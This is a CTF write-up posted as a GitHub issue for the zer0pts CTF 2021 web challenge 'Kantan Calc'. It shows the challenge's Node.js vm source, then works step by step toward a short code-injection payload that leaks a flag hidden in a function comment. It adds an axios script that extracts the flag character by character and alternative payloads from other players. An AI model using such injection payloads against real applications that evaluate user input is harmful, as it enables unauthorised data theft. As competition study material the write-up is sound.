aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

zer0pts CTF 2021 - Kantan Calc #22

Open aszx87410 opened 3 years ago

aszx87410 commented 3 years ago

Kantan Calc

Description

"Kantan" means simple or easy in Japanese.

source code:

const express = require('express');
const path = require('path');
const vm = require('vm');
const FLAG = require('./flag');

const app = express();

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function (req, res, next) {
  let output = '';
  const code = req.query.code + '';

  if (code && code.length < 30) {
    try {
      const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
      output = result + '';
      if (output.includes('zer0pts')) {
        output = 'Error: please do not exfiltrate the flag';
      }
    } catch (e) {
      output = 'Error: error occurred';
    }
  } else {
    output = 'Error: invalid code';
  }

  res.render('index', { title: 'Kantan Calc', output });
});

app.get('/source', function (req, res) {
  res.sendFile(path.join(__dirname, 'app.js'));
});

module.exports = app;

Writeup

This one is interesting because the flag is part of comment inside the function.

In JavaScript, you can get function body by casting it to a string:

function a() {}
console.log(a+'')
// "function a() {}"

We need to find out how to do this for the function provided by the challenge.

I think use strict is the core of this challenge because it's much easier without strict mode. In non-strict mode, arguments.calle returns it self for IIFE(Immediately Invoked Function Expression).

(function(){ return arguments.callee+''; /* flag */})()

In strict mode it's not working and result in this error:

Uncaught TypeError: 'caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them

I took some times to think about if there is another way to access an anonymous function without arguments.callee, finally I realized it's a dead end.

What if we change our direction? If we can access process, we can require('./flag') ourself to get the flag, without dumping the function body.

By googling vm nodejs escape or vm nodejs bypass I read some articles, but it seems none of them works, it's a dead end as well.

A few minutes later, I started to notice what makes it a dead end: function name. Because we can't get the function body without function name in strict mode.

We need to think outside the box, we can actually named the function. Or more specifically, create the named function ourself by close the current one and start a new one.

// original
use strict';
(function () { return ${code}; /* ${FLAG} */ })()

// we can close the current one and start a new one
var code = `});(function a(){return a+''`

// become
use strict';
(function () { return });(function a(){return a+''; /* ${FLAG} */ })()

Cool, it works! It returns the whole function body including flag.

But it's 28 in length already, we can't bypass if (output.includes('zer0pts')){} because adding replace exceeds the limitation.

We need to shorten our exploit code, it seems the arrow function can help.

var code = `});(this.a=()=>{return a+''`

use strict';
(function () { return });(this.a=()=>{return a+''; /* ${FLAG} */ })()

The length is 27, we are trying so hard to cut one character 😂.

Noticed that I use this.a=()=> here because (var a=()=>)() will raise an error: Uncaught SyntaxError: Unexpected token 'var', there is no such syntax. So I assign the arrow function to existing object to make it work.

When I reached here I feel I was so close, it's almost there. We don't need replace because it's too long. All we need is [0], we can extract the flag one by one to bypass the check.

But });(this.a=()=>{return (a+'')[0] is 32 in length, so sad. How to reduce more characters?

Let's start with the long one: return. Arrow function needs no return if it returns value directly.

var code = `});(this.a=()=>(a+'')[0]`

use strict';
(function () { return });(this.a=()=>(a+'')[0]; /* ${FLAG} */ })()

We are getting closer, although it doesn't work because of the annoying ; and }, the length is 24.

After 10~15 minutes, I figure out how to bypass it. Use /* to comment out ; and use +{ to make it an empty object!

var code = `});(this.a=()=>(a+'')[0]+{/*`

use strict';
(function () { return });(this.a=()=>(a+'')[0]+{/*; /* ${FLAG} */ })()

// output: ([object Object]

The length is 28, so replace [0] with [10] is 29, just fit the limitation perfectly!

Right now we can exfiltrate the function body by characters, I wrote a simple script to help us see what is the full flag.

var axios = require('axios')

// flag start from index 23
var pat = `});(this.a=()=>(a+'')[23]+{/*`

var ans = ''
async function run() {
  var len = 23;
  // 100 is a random guess, I guess 70 at first and it's too short lol
  while(len < 100) {
    payload = pat.replace(23, len);
    var result = await axios('http://web.ctf.zer0pts.com:8002/?code=' + encodeURIComponent(payload))
    var f = result.data.split('<output>')[1]
    console.log(f)
    ans+=f[0]
    console.log(ans)
    len++
  }
  console.log(ans)
}

run()

Finally, awesome challenge!

aszx87410 commented 3 years ago

from arang

},function _(){return[..._+1]

aszx87410 commented 3 years ago

official writeup: https://hackmd.io/@st98/Sy7D5NymO

'use strict'; (function () { return a=>[...arguments[0]+0]})(b=>{; /* ${FLAG} */ })()
  1. treat flag function as parameters
  2. use [...a+1], a+1 has higher priority so a+1 became a string and ... spread it as array, awesome!
aszx87410 commented 3 years ago

from hashkitten

x=>y=>[...1+x]})()(_=>{

(function () { return x=>y=>[...1+x]})()(_=>{; /* ${FLAG} */ })()